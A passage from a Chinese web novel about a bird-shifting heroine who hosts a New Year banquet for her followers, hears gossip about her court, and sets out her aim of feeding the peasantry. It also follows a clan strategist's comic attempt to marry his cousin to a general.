可世族家主做出的决定,岂有更改的余地,何况这事其实讨论了不是一天两天,主支这边的统一意见其实就是投杨,卢要在本地世族开会的时候没少假装中立然后给江骋润色。雁门杨家哪怕还是将门没有脱离腿上的泥巴,但高低是他们这个阶层的大族,那林女且不说她是女君,就是从她对世族的态度,也不是个明主。 五房和七房恨得夜里回院子睡不着,看着老宅那边收拾细软,大开库房,五房的卢其找到七房的幼弟,咬牙说道:“等卢要走了,他住的园子我要改成菜园,天天拿粪水去浇!” 七房卢鹭,坐在桌边擦剑,良久冷声说道:“大哥说,待天下太平,相见自有期,他还想着回来做他的家主呢……不,待天下太平,范阳卢氏能做主的是谁,走着瞧吧!” 两个被家族抛下的青年对视一眼,剑眉星目,透露狠戾。 第142章 对于不禁世族搬迁这事,是林一琢磨出来的,就像卢氏一样,世族能搬走的最多不过千把人,那些庶支分脉乃至郡中只剩下五百年前是一家的族亲,这是带不走的。这千把人又没有部曲防身,能带走的也只是一些傍身之物,总不能开了库房带几十万石粮食走嘛。 而世族主支迁徙,给她带来的利润可就远远大于强留下他们的利益了,最重要的是,你家主支走了,说明田地不要了对吧?总不能说主支走了,田地自动归属庶支吧?更何况这些地从被开出来,几千年来静静待在原地,那俺可不客气哈! 当然了,小族还想着折价卖地,卢氏看得是很开的,同样和林一一个想法,地摆在地里又不会丢,他日功成归故里,自然也能主宰一方,更何况卢氏的地卖给谁家?崔氏? 如今的时局,贬值的东西太多太多了,就如昔年被捧上云端的成纪风氏瓷,随着天水贼案也逐渐下了神坛,世族喝风氏瓷,喝的是那份血脉里的贵重,可当呼风氏呼不来风,反而惨死流民刀下时,神话的外衣就被扯了下来。 败落的又何止是风氏呢? 当然,田地不贬值,但现在田地不是拿真金白银可以换来的东西了,卢氏放弃得也很快。崔殊回家不过三五天工夫,就看到出城的车马一批接着一批,赶得上过江之鲫了。 如今田边地头,官道小道,少有农夫野人来往,多的是世族的车驾行走,也偶有些世族遭了匪徒拦路,世族谱系里就此少了一支名姓,但是乱世里也没几个人在乎这个。和林一这里相反的是,江骋所占之地严禁世族迁徙,所以只有赶来投奔他的,没有从他这边离开的。 有的地方消息流传不是很广的,只知韩小六或者呼兰霍兰的,把林一方的势力和雁门杨氏的势力打探了个大概,暗地里称之为“北方双雄”,也有的消息比较灵通,这就不大好取尊称,雌与雄并称总能并出些暧昧的味道,就显得不那么尊重,好在杨无衣那边在起事之后,对外称了一个“西北王”,他这里才好称呼。 而林一……她自称鸟大王,虽然称王(?)比较早,而且可能是最早称王的那一批,但是这个鸟字,不那么适合作为王号对吧?然后她这个鸟居然是有学名的,叫什么凤鸟,啊!这下好称呼了,凤王。 如今三路大反王分别是虎踞西北的雁门杨氏父子,横贯故燕与齐鲁的林凤王,六郡十三家联盟之主江东王陆行。其下各路小反王其实他们大多就是一郡之实力,谦虚的自称郡守,不那么谦虚的就称公称侯,总之昔日的魏土像开了一场吃鸡大赛,又散又碎的,甚至还有村长称王的。 而江骋在兵下上郡之后,所有人都以为他的兵力已经到极限了,毕竟要留兵镇守上郡,他只剩下一千黑水骑兵和两千辅兵在手,想打下相邻的北地郡,三千兵马还不够两个县打。 但是江骋就是这么不讲道理,抛弃辅兵,一千骑兵如神兵天降穿梭在北地郡中,打的是多场闪电战,每逢破城不留兵,杀空守军开城而去,因为他破城的名声太凶暴了,许多北地郡的县城村镇听闻是江骋在攻城,弓箭手不敢射箭,县尉不敢动刀兵,年关前后,北地郡陷。 魏末帝二十六年,林一来到这个世界的第三个年头了,勃海郡难得下了一场小雪,这里比雪域的天气要温暖很多,苏赫阿那有些谨慎地打量这座郡守府,看上面雕梁画栋,底下青砖铺地,总觉得十分神异。他几乎半生都在雪域草原两季变化的景色中度过,天是蓝的雪是白的,夏季的草海和星空,那些是辽阔而寂寥的,魏地的天不一样。 苏赫铎和苏赫忽律分席而坐,此时苏赫铎都没有穿皮草,两件丝绸衣服穿身上一点都不觉得冷,很新奇地捏着酒盏,时不时抿一口。 苏赫忽律冷眼看他,跟个乡下来的一样,他可是去过洛都也没有怯场的,感觉和这个兄长都不是一个阶层的人。 今天的年宴堪称济济一堂,林一受累喝了几桶油,天南海北那么飞,近的就提前出发前往勃海,此时林一还在外头,有最远的姜命还没有带来,众人没一个提出大汗在呢就先开席,毕竟谁都知道,真正的主君是谁。 韩小六和崔殊坐在一起,他们两个关系好,最近崔殊在族中见了几个知书达礼的堂妹,甄选了一个相貌不是最漂亮,但性格最可爱,才华格外出众,而且对男人没什么见识的堂妹,准备把韩小六收拾收拾卖了。武将的路子不好走,但在崔殊眼里,世上哪有不好走的路啊,做了自己的妹夫,有他看着,韩小六出不了大事情。 两人对面原本该是呼兰霍兰和王宣坐一起,但王宣身边没人,嗯,呼兰霍兰自称要镇守巨鹿,职责在身脱不开手,其实谁都知道他是怂了。苏赫阿那没来之前,有些人不清楚林一家里有男人的,一直觉得呼兰霍兰是二把手来着……现在正主来了,他可能是不好意思,也可能就是单纯的心虚。 段凛倒是在,他没感觉自己不能见人,因为真的没有啥事,不是外头谣传的那样,他靠什么什么上的位,历来空降总有些这方面的传闻,段凛就很坦然。 真的感觉不自在的……有的有的,知名不具嘛。 大厅内外通风,林一降落时带起风声里面也能听得见,不多时一只大鸟伸出人头来,先把怀里的姜命放下,然后在门外走廊底下换好衣服再进门——之前她不管在哪都不会躲起来换衣服的,但是今天年宴,总算有了那么一点身为人的羞耻心。 林一进门就大步往主位上走,路过王澈时,伸手摸了一下他身侧的一个模样清丽脱俗的少女,这是王澈的堂妹王清英,算是接下来北边这一块众多郡守之中的女郡守独苗苗了。 其实打从流放雁门起,王清英那时十二岁,就已经托关系嫁了一个雁门小族子弟,是个已婚少女,这几年还生了一个娃。不过王澈给她背的书,说她的能力胜过之前四个小王,可以治理一个大郡,林一就准备把河间留给她,让她搭配段凛来经营,毕竟河间的位置很好,而且水多地肥,好地段就需要好长官来管。 王清英被摸得又兴奋又害怕的,一直等到开席,说话的人多了,厅堂内外都嘈杂起来,才压低声音小声地对王澈道:“澈哥,林女君的气势好足,她走路的样子和世族女子不同,行动如风……” 王澈费解地看着她,什么行动如风,和世族女子不同的,那种身体前倾手腕耷拉,鸟头四处转动的姿势,那不就是大型鸟类特有的鬼鬼祟祟步伐吗?这也能夸上了吗? “澈哥,我真的能胜任河间郡守吗?我对河间并不是很了解,听说那边世族也很多……”王清英低头喝了一大口酒,声音压得更低,“我要是做得狠了些,你能给我托底吗?” 王澈吃了两片肉,没回答托底的问题,而是肯定地道:“你的能力足够了,而且说实话,你的作用不是在能把河间治理得有多好。” 王清英愣了一下,就笑开了。 哦,原来我是千金买的千里马……骨头呀,没关系,什么叫她的作用不是在治理河间上?她治理得好,岂不更是一块响亮的招牌? 此时席间忽然静了静,是林一拍了拍手,笑眯眯地道:“今日年宴,大家平时分散各方,如今难得齐聚一堂,接下来的几年可能都见不到面,但是需要彼此配合,不如各自来向同僚介绍介绍自己嘎!” 有人积极响应,有人半死不活,积极响应的是崔殊,他第一个站起来,还把崔元和崔柯崔安黎(崔氏在他之后另立的宗子)也拉了起来,对林一和苏赫阿那行了个雪域礼节,大声地道:“诸位见笑,我们三人乃是范阳崔氏子弟,合称崔氏三龙,有幸投入主君帐下,与诸位同坐一堂,来来来,我随意,你们干了。” 他砸吧了小半口酒,然后示意众人道:“喝吧,还客气撒?” 举着杯子的众人不得已都干了一整杯酒,王清英是最热情参与的那个,刚才崔殊举杯,她还觉得自家堂哥没有礼貌呢,只顾着吃菜不起身不举杯,现在被架得下不来,皱巴着脸饮了满杯才坐下。 崔元和崔柯都惊了,他们什么时候合称什么崔氏三龙来着? 崔殊面不改色,两撇鲶鱼须须都舒展开了,出门在外,身份都是自己给的嘛,今天这样的场合,这些同僚们就算几年不见面,也会一直记得他们崔氏三龙的嘛! 下一个轮到王澈,王澈也起身,喝了一口甜醪糟,想了想说道:“在下王澈,主君帐下无名之人,来得早些,无甚功绩在身,这位是我堂妹清英,宴后任河间郡守,有劳诸君照料一二。” 他相貌实在出众,说话时眼神清澈,态度诚恳,众人都不由为他风姿所动,纷纷投去善意的目光。 真乃神仙公子,温润如玉呀! 第143章 今日勃海郡本地世族也在列,勃海高氏和勃海封氏甚至可以列席在前排,这当然不是林一对世族的一般态度,而是……额,算是一种阴差阳错。 之前已经说过,扩张期的顶级势力思考的其实不再是这座城怎么打,下一座城怎么打,而是眼光长远的,比如江骋。江骋用的就是威慑,你抵抗得越久,破城后的损失就越打,你越是投降得早,我就越是礼遇,这给了很多不敢战的地方官员台阶下,同时也真的让一些决定死战的城池内部出现投降派。 林一不打算这样做,但不代表她就不会抄一些作业,比如对主动投降,或者打得很容易的城池一些好待遇,这属于正常范围嘛。 至于为什么说是阴差阳错……那是因为勃海高氏和封氏两家是一郡之中难得的两家大郡望,彼此互相联姻多年,关系非常好,你是我舅子,我是你妹夫,你娘是我姑姑,你爹是我姑父,两家好得似一家。在林一兵临城下之时,两家也已经说好,坚决抵抗,死守家园,绝对不拖彼此后腿! 然后高家主就在亲临一线时惨被呼兰霍兰活捉,封家主对这个表弟感情极深,当时目眦欲裂,想要死守,看看弟弟,想要放箭,看看弟弟,流着泪鸣金收兵,在祠堂跪了一夜,还是想着弟弟。 第二天,胡子拉碴的封家主就命人开了城门,勃海全境不再抵抗。 算是林一打得最轻易的一个郡了,战后勃海世家的待遇也都不错,勃海乃是儒学文化的盛行之地,这里的世族都以经儒传家,别的不说,儒学是非常好的教化之道,圣人也并非浪得虚名,但凡真的有些底子的,少有虐民之举。 这就可以坐一桌了嘛,林一又不是什么魔鬼,她讨厌世族又不是因为世族这个名头,而是太多的世族不干人事。 此时封家主和高家主坐在一块儿,封家主给高家主倒了一杯橘子饮,压低身影,有些赞叹地道:“那位王澈公子,真是风姿明秀,翩翩君子,相比之下,那崔氏三子实在有些……” 高家主愤怒地喝着橘子饮,里面撒了糖桂花,他冷声说道:“女君禁脔而已,看他应是最得宠的,自称无功,未必无功,也许功在别处。唉!如今已在贼船上了,但凡勃海的位置不这样恰好,不会累得你我两家如此。” 还有一句话没好意思说出来:但凡他那日亲临战阵时没有被活捉,勃海不至于连碰都没碰几下就被拿捏住了,而勃海一陷,同样将周边郡县一并拉下了水,现在高家主还是有些耿耿于怀。 当然不是对自己啊,他至今也想不通,他出去亲临战阵只是为了看看战场局势,他非常谨慎啊!足足带了五百个披甲亲卫,外围有盾,内围有枪,远程还有二百弓手,就这样的一个保护圈,那个叫呼兰霍兰的戎人,他带着二十来人活活冲了进来,单手一提,把他提回了敌营里。 他想不通,他想不通啊! 封家主低声劝慰道:“阿弟,事已至此多想无益,其实女君待你我挺好的,那些荒唐传闻,不也只是传闻而已嘛。” 高家主痛苦地一只手捂住了双眼,“我有什么可担心的,我年已四十,封哥你也四十三了,我所忧虑的,是两家的小辈,听闻那苏氏公子六人,一家兄弟,骨肉至亲,竟然没有放过一个。更有甚者,父子同侍,兄弟一般……” 额,这里不得不提,林一耳朵挺好的。 此时席间的同僚介绍已经到了段凛这里,段凛也很干脆起身,对众人举杯,先干了一杯,又倒一杯,这才开口说话:“在下段氏段凛,曾任魏朝张掖郡都尉,久守边关居延塞,不善与同僚往来,我就直说了。今日诸君在座,凛要澄清一事,就是河间与清河两郡都尉之职,并非是主君独断,而是凛本身就有守土经验,也曾任职都尉,如今主君帐下人手不丰,凛才多劳多累,绝无那等暗夜授金之事!” 段凛还是世家子出身,说话习惯引经据典,暗夜授金化用自成语“暮夜怀金”,说的是背地里行贿上官,段凛搁这澄清呢。 高家主更痛苦了,咬着牙对封家主说:“你看,正夫在堂,都有小的敢来卖乖,不曾暗夜授金,她富有江海,要何金来?明摆着说自己授了别的东西。” 封家主一时语塞,毕竟段凛年纪轻轻,还是一副很容易让人怀疑能力的长相。 林一听得心虚,欲盖弥彰地把苏赫阿那抱近一些,又非常刻意给他夹了一筷子菜。苏赫阿那从前只见过她狼吞虎咽,最温柔也就是给他留出一些好肉放在一边,很少这样直接亲昵喂食,还是当着这么多人的面,所以显得有些无所适从,又看了一眼底下宾客,很生硬地张口接下。 轮到韩小六时,韩小六话多,一时说不完,起初众人还耐心听着,给他一个安静吹牛的环境,但听着听着,气氛就忍不住朝着热闹的方向去了,因为韩小六自己讲得也很热闹。 “话说那天叶尼塞河……” “我们来到野人部落时,他们很热情,一见面就大声地喊苏卡不列,这据说是阿塞部落欢迎远客的词汇,那天我听了很多次苏卡不列。” “野人都是很热情的,但是他们通常不会做正常的表情,都是瘫着一张脸的……” …… 因为气氛逐渐热闹起来了,所以高家主又压低声音对表哥说话了,“你看,这个韩将军很明显就不是入幕之宾,他受到了严重的排挤,打仗那么厉害,却被安排去打野人……” 林一眼睛都瞪圆了,不是兄弟,是我让他去打野人的吗? 而在林一身边的苏赫阿那显得更加局促了,他其实不是一个容易怯场的大汗,但是……他知道苏卡不列是什么意思,因为他就是白野人生的混血雪域人,听着韩小六说话,又没办法指正他,弄得苏赫大汗如坐针毡。 高家主又准备开口了,林一再也演不下去,先嘎一声静场,指了指高家主,皮笑肉不笑地说:“来来来,别管还剩下几个,我们让东道主说会儿话,底下那么多人,就高家主说得最欢,嘎嘎,请到中间讲。” 封家主吓了一跳,连忙想要按住表弟,高家主起初也愣神,但这是你要我讲的啊! 他起身离席,大步走到席间空地上,先行了一个世家礼节,然后昂着头说:“鄙人高若,勃海高氏家主,勃海郡前任郡守,如今既入林君帐下,也有一问,不知主君之志若何?” 他等着林一说些什么志在江山社稷之类的话,然后他就可以直言相谏。 但是林一被他弄得愣了一下,她不懂这里面还有个前摇的,以为高家主在底下说得那么欢,上了台要么不敢再说,要么就直接会讲,然后她就可以当着满座文武的面澄清澄清,主要是澄清她没有搞王澈,王澈那么虚是他自己天生的,她也没有弄苏家六个美少年,更别提什么父子兄弟……然后高若问她的、志向? 谁都能看得出来林一脸上的茫然,她原本微微俯身要看戏的姿态都收敛了回去,两只手搭在桌案上,像个被先生提问的小学生,犹犹豫豫地道:“那,我慢慢讲了啊,因为不知道从哪里说起,可能有点散乱。” 林一是很会演讲的,这一点在座的诸位没几个人不清楚,就连高若也听过两回,但他不屑一顾,对平民贱庶说的话都是尽量通俗过的,对世族来说没那么多效果。 但是林一没有演讲,她挠了挠头顶,一边想一边说道:“我最开始跟着公主的送嫁队伍来到雪域,那里日子很悠闲的,苏赫阿那把苏赫部落治理得特别好,一个夏秋的时间,我在那边过得很快乐,想吃羊吃羊,想吃牛吃牛,看青年男女玩闹,然后去帐子里睡觉……” 苏赫阿那看了她一眼,笑了一声。 林一又道:“然后冬天的时候,我去打辽东,王澈也去了,那边地里长得出来粮食,但是种地的人自己会饿死,我第一次听说了粮税这个东西,世族拿三成,朝廷拿三成,叫做三三税,克烈人杀了很多世族之后,他们也没有多拿,按照这么多年的规矩,也拿六成走,我就很不理解,为什么种地的人要在丰收的年景里饿死,人吃饱穿暖应该是最基础的东西。” “所以我在辽东那边发现一件事,我打下一块地方,这块地方就可以听我的,而我想要这块地方的人吃饱穿暖,我不是在攻城掠地,我不是在开疆拓土*,就是在救人而已。” “所以说,我的志向就是,有生之年,能打多少土地就打多少土地,能治理多少土地就治理多少土地,如果人家本来就过得挺好的,那就没有必要,就像我准备和江骋为敌,不准备去打陆行一样。” 高若都不记得自己说了什么,反正等他回过神的时候,就已经躺在高氏老宅他的卧房里了,然后就是一夜烙饼似的辗转反侧。 我当时,应该怎么怎么回她的话来着? 第144章 次日林一又忙了一天,把属下们天南地北地送走,雍西目前还离不开姜命,就像辽东离不开……算了,辽东好像谁都离得开。 自从辽西到右北平的线路被打通之后,辽东的驻军就可以撤了,驻军这东西如果不是用来压老百姓的,纯粹只考虑布防,那很有余裕的!林一把兵力主要调在右北平和范阳一带,另外辽西布防也非常重,最后在范阳和勃海之间,挑选了勃海作为日后的大本营和都城所在。 范阳的位置其实很好,但是对青徐那边就少了震慑,而勃海处于平原地带,易攻难守,不过林一不会远离勃海太久,最重要的是,勃海本地世族风气好,打下来的时候也没有经历太血腥的战事,这对统治是有利的。 勃海是魏朝昔年的上郡,下辖二十六县城,郡治在浮阳。浮阳的名字很好听,取自当地水文地理之意,浮是指浮阳附近水网密布,阳光映照水面带动的波光,而阳就简单一些了,如洛阳之类的城名,取自古人“山南水北为阳”的观念。 总之勃海是个好地方,地处黄河下游,漳水环绕之地,郡望高封二氏也是很典型的以农为本的世族,两家族田加起来占全郡十分之三,除了本家的族人在种之外,佃户也大多是本地人。不要小看这一点,这里头门道可大了,因为大多数世族的田地,佃户干不了几年,要么逃荒要么老老实实……然后饿死了。佃户是本地人,那说明不是一年一换或者几年一换一批佃户,至少说明勃海郡的世族是给佃户吃饱的。 这在很多北地世族看来都不可思议,因为江东那边能做到一家几代佃户,过冬饿不死,那是人家地里长油河里飘鱼,荒年不受灾,饿不死人的,勃海属河北啊,咋跟人家江东也能比上了? 高若第二天出门的时候,心气还是不太顺,他一手托着个丝绸袋子,另一只手时不时掏几个东西出来吃,要靠近一些才会发现他托着的是个枣子袋,里面装满了金丝小枣。就是这年头大世族也不会怎么斯文讲究,高若一边吃枣一边扔枣,他吃枣就吃个两边肉,会有不懂事的小娃娃凑过来,在他走过的路面上捡枣剩儿。 枣在勃海很常见,但是高若吃的是糖腌过的金丝小枣,比蜜饯淡一些,还保留了枣子的口感,不过滋味非常好,高若也不在意小孩捡他吃剩的,吃了半袋就走到目的地了,是浮阳郡城位置居中的郡守府。 昨天之后,苏赫阿那就在郡守府里住下了,他会在这里担任一郡之镇守,因为身份的缘故,如果林一不在,其他郡的公务只要来得及,也可以由他来代管。只是雪域人和魏人的观念不同,苏赫阿那昨日特意请高若这个前郡守来他身边任职,提点一二。 到了郡守府前,高若又愤愤不平起来了,他父亲就是勃海郡守,封家爷爷是前前任郡守,他自小在郡守府里长大,父亲过世后他就接管了勃海郡,如今这座熟悉的府邸不再是他的第二个家了,他还得每天过来点卯上班! 忽然觉得这座郡守府都有些面目可憎了。 过了一道门就到了郡守府的厅堂,毕竟这是有公堂性质的府邸,而不是世家私宅,苏赫阿那昨日饮了些酒,但是起得仍旧很早,他的下首早早就坐了那位和他面貌相近的二王子。 高若很勉强地进了门,准备行个参拜大礼,苏赫阿那连忙抬抬手,苏赫忽律上去就把高若架住了,脸也很臭,一开口就是齐鲁方言:“干啥,俺爹没叫跪。” 高若猛一下子愣住了。 不过苏赫阿那开口,是很正常的洛下音,微微笑着说道:“高先生不必多礼,请坐下吧,昨日已经见过,今日不必再拜,正事要紧。” 苏赫忽律把高若按在了他原先坐的次席上,自己坐到旁边去,不多时封家主封时也到了,苏赫忽律又臭着一张脸让了位置,接下来再有一些世族官员进门,苏赫忽律就不让了。 他要在勃海待几个月,而苏赫铎要回雪域,因为部落里得留个说话管用的人,这不是说明苏赫铎说话管用,他管用的就是个身份而已。实际上苏赫阿那临前仿造呼兰部落的族老制,给叶利诃和格桑,扎哈额真,还有部落里一些有见识的老人都布置了监察任务,遇到大事还是要凑在一起商议的。 换了新地方,苏赫忽律就决定给自己立点人设了,比如来自雪域的冷面无私的二王子,谁来找他说话都不好使,他以后要在勃海这边做官的话,对人对事都冷冰冰的有利于他……嗯,不被骚扰。 二王子已经吃够了美貌的苦! 不过人家魏朝世族其实都还挺追捧美人的,没有雪域那么直白,而且像王澈那种大美人,他其实是非常吃美貌红利的,就像到现在高若还觉得王澈很可怜,他也许是林一养在身边的小情儿,看他虚得都走不动路了,必然不是自己主动的,谁家好人拿命来搏宠爱啊? 等厅堂内坐席渐满,苏赫阿那温和中正的声音便再一次响了起来,很客气尊重地,“久闻中原之富饶,苏赫阿那因缘际会,如今暂管勃海之地,雪域与中原到底有些不同,还要诸位时时指正,现在我从几个方面来问询一二,还望诸位不嫌啰嗦。” “其一人口耕地,我有意丈量田亩,清点籍贯,这些人手恐怕还得从世家中选取。按可敦所言,人手需足,所以诸位家中子弟,不限男丁女子,只要身无负累,耐心做事,都可报名为吏员……” “其二官员任免,如今勃海郡中原本的官员有的是世族出身,本地籍贯,有的是朝廷任命,外来之客,也有一些不能胜任原职之人,崔先生近来提出可以考试诸位,优者升官,平者连任,庸者下职。当然,第一次考试只是官员内部的,不会那么严苛,只是筛选掉一些实无能之辈,相信诸位不会令我失望。” 听到这里,高若和封时其实觉得还好,因为他们都是实打实的名师所教,四十来岁年纪,已经有二十多年官龄了,在他们看来,人家苏赫大汗说的蛮好的,基本上都没有过多为难。 但是底下不少小世族都有些慌,尤其是自家子弟在肥缺上的,倒不是说能力不足,而是肥缺啊,一个萝卜一个坑,谁知道这考试是不是明升暗降的借口呢?还有些更亏心的,他们藏了开荒的田地没有上报,还有的藏了佃户人口不叫人知道,这些被清点出来的话,会不会有问题啊? 苏赫阿那又宽慰众人道:“我等初来乍到,并非魏朝之钦差,除残杀虐民之外,一切过往不究。考试是考试其能力,原则上,不大动官员位置,时间定在一个月后,崔先生会提前划定考试范围,还请诸位回去好好准备。这期间公务不可怠慢,若有人为一个月后的考试而耽误公务,被查或者举报上来,那就直接罢官,请诸位莫要自误。” 高若吃着枣,和封时对视一眼,这雪域来的王手腕真不赖啊,不仅思路清晰,条理分明,还恩威并施,宽严相济,哪怕放在一众反王里都算得上极优质的了,但是他在用一副贤内助姿态给女人做事……好吧,没准人家乐在其中呢。 从郡守府出来,众人才发觉讲了那么多事,才过去半个时辰而已,不由得一眼一眼朝着高若瞥,从前啊,不知道是哪位郡守,开个关于春耕的小会,都能从早晨开到夜里,成天瞎忙不知道忙啥来着。 高若又生气地吐了一口枣渣。 不少人想到了找崔殊要考试范围划定来着,但是崔殊的临时住处没有人,问就是一早上带着韩将军出门去了,两人骑马走的,走得可快了。 高若也在人群里,在众人一片抱怨声中挠了挠脑袋,“诸位诸位,那位苏赫汗王不似是耍人玩的,主君帐下又不是一位崔先生,这个崔先生不在,不是还有一个?” 崔元中午吃完饭,回来就发现自己新家门口被堵了,他脸上还带着些宿醉的红晕,揉了揉头,高声喊道:“是是是,我负责考试这一块儿,不要挤不要挤,每个人领一份考点……” 是的,昨天席上崔殊找他说过的,崔元心里不大愿意待在勃海,在苏赫阿那手底下做事,但是事情还是得做的,至于崔殊自己去哪儿了? 崔元很严肃地看向范阳的方向。 殊堂哥说,他要去做一件关乎崔氏未来命脉,人口繁衍,乃至名留青史的大事。 去做啥他也不知道,但是听起来很严重的样子。 ** 彼时韩公初起事,崔公助之,某日望之有感,言称公娶吾妹,亲上加亲何如?韩公欣然赴会,见一女屠猪,力大无穷,不由潸然泪下,曰“何不早相见”,便求娶。 ——《勾史》 第145章 《勾史》乃是后世人研究大凤王朝的重要史料之一,著书者为一勾姓富家员外,勾员外多年科考不成,决心回家吃老本。 老本很够吃,勾员外八十二岁寿终正寝后,家财分与四儿三女,又过三十年,其幼女去世,家中子女争其遗产,此案因其典型和数额巨大,被浮阳当地列入县志。暂且不说死后事,总之因为放弃科考后日子一下子就闲下来了,还在盛年尾巴的勾员外便捡起多年爱好,编撰野史。 倒不是说野史都很野啊,主要是史书不被王朝或者后世王朝所承认,那都算稗官野史,私家闲笔尔。但后世人通过将《勾史》和正史对照,以及出土的墓志铭之类确认了这位出生于大凤王朝开国元年的勾员外,他记载的那些东西基本属实,除了一些他自己都说了是推测的东西还未经证实。 不过对于细节上的一些东西,记载出入略大,因为勾员外听的东西虽然在当时是主流说法,但也是经过润色的。 比如韩小六跟着崔殊去范阳崔氏做客,崔殊事前可一个字都没说这是相亲宴,他准备把人弄到地方了,再给韩小六架起来,如果他实在不肯,甚至可以弄点手段,这个注定青史留名的佳婿不落在自己家里,会是崔殊死透了钉在棺材里都合不上眼的遗憾事。 韩小六都跟着崔殊进老宅了,还觉得自己是来做客的呢,这事崔殊和家里通过气,崔家主很热情地招待了这个瘦猴一样的青年人,又问籍贯,家里几口人之类,越问越是满意。他们家是招女婿,孤儿寡母可不是缺陷,问完这些,崔家主给崔殊使了个眼色,便说今日有些头痛,请了大夫看诊,匆匆离去了。 接下来崔殊就应该旁敲侧击,请出堂妹来和韩小六相见,崔殊捋了捋胡须,正要开口,就见韩小六脸色涨红,压低声音道:“先生,你家里茅厕在哪?这一路我都想停马找个地方窝屎的,可是先生一直说快到了快到了……” 崔殊轻咳一声,也没有露出嫌弃之色,起身就道:“我带你去。” 韩小六憋得脸都红了,还客气呢,他很尊重崔殊这个军师的,“不用不用,先生找个小厮带我去就行。” 崔殊恼羞成怒瞪他一眼,废话,咱们一个点儿吃的饭,然后赶行程,就你要窝屎,我不要拉尿?之前是忙着事情脑子里都没往那处想,现在不是被提醒到了嘛,他也觉得肚子要炸了。 崔氏老宅特别大,但是茅厕不会修到边角去,这是要方便人来用的东西,不过主家人用的茅厕和下人的旱厕不一样,是砌了瓦间,抹了墙面,又在屋前屋后种了翠竹遮羞的,韩小六进去酣畅淋漓了一番,往里问崔殊,“先生,你还有多久好啊?我先回去厅堂里坐好不?” 崔殊压抑的低沉的嗓音从茅厕里传出来,“不!你就在附近转转,等我一起回。” 他有些担心堂妹那边没有他的帮衬,和韩小六之间相处得不好,这种事没有他在场,怎么调整气氛? 韩小六便应了一声,但是茅厕门口没什么好转的,他在门口的水缸里洗了洗手,看到不远处有小巷弄,还有些人声传来,就去凑热闹。 等崔殊衣冠楚楚地从翠竹后转出来,就看到茅厕转过一道巷的巷道口,韩小六呆立着,崔殊大步走过去,拍了拍他的肩膀,“贤弟,你怎么了?” 这处巷子平平无奇,崔氏族人管这里叫杀猪巷,一个大族每天的开销不小,猪鸡是最常吃的,杀鸡容易,谁家妇人都会,但杀猪就不一样了。为了防止猪乱跑,这杀猪巷一头封死,猪从这头赶进去,杀猪匠也进去,通常崔氏的杀猪匠也是崔氏的自己人,因为杀猪这活计算是肥差,外头的屠户赚得也不少。 崔殊一般不怎么爱看血淋淋的场面,他记得自己小时候上茅厕就被杀猪巷的猪叫声吓到过,但这几年他也算历练出来了,顺着韩小六的视线看过去,只见一个二十五六岁的年轻妇人正在一刀一刀劈猪。 那猪一看就知道死得很干脆,猪头已经切下来放在一边,两个小工在接猪血,而年轻妇人正在从脖颈到猪臀把这猪分劈成两扇,刀法很猛,力气很大,连骨带肉像砍柴一样砍开,两扇之后,又干脆利落卸下水,斩猪蹄等。 崔殊只是欣赏了一下,看清妇人面容时就愣住了,迟疑地道:“小七嫂?” 年轻妇人不介意杀猪被人看到,先前韩小六站在那儿不动,她还问他是不是吓着了,韩小六就摇头,她又问是不是来给小孩要猪惊骨的。杀猪匠常见这种事了,猪惊骨是猪耳朵里的听骨,形状长得很奇特,民间流传说有辟邪之效,小孩用红绳穿猪惊骨佩戴在身上不会夜哭,受到惊吓能保魂什么的。 韩小六老家那边没这个习俗,所以他也没听懂,妇人就让他先等等,等她忙完手里的活计就给他取骨,四个猪蹄斩好,妇人起身去拎猪头,就听见崔殊那声喊,回过头看,其实是有些迟疑的,因为崔殊和以前变化很大,主要是那对小胡子,但是很快她就认出来,用袖子擦了擦脸上的汗,笑着道:“是异人公子啊,上次就听说你回家了,可是没见着,公子你……还和先前一样。” 崔殊心情有些复杂地朝她点点头,又问道:“七哥他还好吧?” 妇人笑笑,云淡风轻,然后干脆利落地斩开猪头,取出两边猪惊骨,在袖口擦了擦血,递给韩小六,“喏,给小孩儿戴要刷洗干净的。” 韩小六接过两只奇形怪状的惊骨,呐呐地点头。 妇人继续忙活分猪肉的事,韩小六手捧着猪惊骨,跟着崔殊往厅堂里走,路上,他好不容易鼓起勇气,抱着一点点希望问道:“先生,那姑娘,是你们崔氏族里的媳妇啊?” 崔殊没好气地说:“不然我叫她小七嫂?” 韩小六只好低下头。 崔殊心情也很复杂的,复杂到甚至没注意韩小六的表情,尽管没人听到,他还是压低了声音说:“说来是我崔氏一桩亏心事,小七嫂早年是世族贵女,与七哥定了婚约,她在嫁进崔氏门后半年,母族孙氏找上门来……” 二十多年前,范阳发生过一场大暴雨,彼时孙氏族中二房长子长媳从外地返乡,路遇暴雨,借宿在一户猎人家中,人家家里也有个临盆的妻子,一个早上生,一个夜里生,都是女娃,后来雨停分别,孙氏夫妻离开。 韩小六没听明白,下意识地道:“孩子抱错了?” 崔殊冷笑,“初生婴孩相貌相近,抱错是有可能的,但不是,那孙氏长媳自幼体弱,生产也是早产,她见自家女儿体弱怕不能活,用一根金钗换了猎户女儿回去。孙氏长子对女孩儿不甚上心,也不曾发觉,直到小七嫂嫁人都半年了,那孙氏的女儿找上门来,她虽体弱多病,但猎户家里把她喂活了过来,猎户妻子临终又告诉了她身世,她便来孙氏认亲。” 这事当初闹得挺大的,不少人站在世族的位置上,认为必是猎户换了孩子,但崔殊一眼看破,问询过后他自是觉得错在孙氏的,但聪明人的看法可不和大众在一块儿,连崔氏内部都不少人觉得崔七应该休妻,履行真正的婚约。 崔七也闹不过这些声音,最后明媒正娶的妻子改妻为妾,再娶了孙氏女儿进门,崔殊也是在这事之后离家做官去了,只是没想到小七嫂现在已经开始操持杀猪的活计了。 回到厅堂,崔殊收敛心情,和韩小六说了几句,就请堂妹进门,这姑娘名字很好听,叫凝白,崔凝白,取的是霜雪之意。她笑起来脸颊边上有一对浅浅的梨涡,眼睛长得很美,只是五官上确实比堂姐妹稍显逊色,放在外面也能算是一个小美人,最难得的是她性格非常可爱,进门就叫韩小六“大将军”,声音特别甜。 韩小六给闹了个大红脸,摆摆手说道:“我不算什么大将军,只是一郡之都尉,当不起那些……” 崔凝白笑着说道:“没有大将军之名,也有大将军之实啦!小女子一直听说韩将军的名声,堂哥上次来,说得天上地下好像只有韩将军一个真男人哩!今天见到了,虽然不是威猛无双,但小女子觉得正正好,太粗壮的男人就显得笨笨的,不过,韩将军会觉得凝白正正好嘛?” 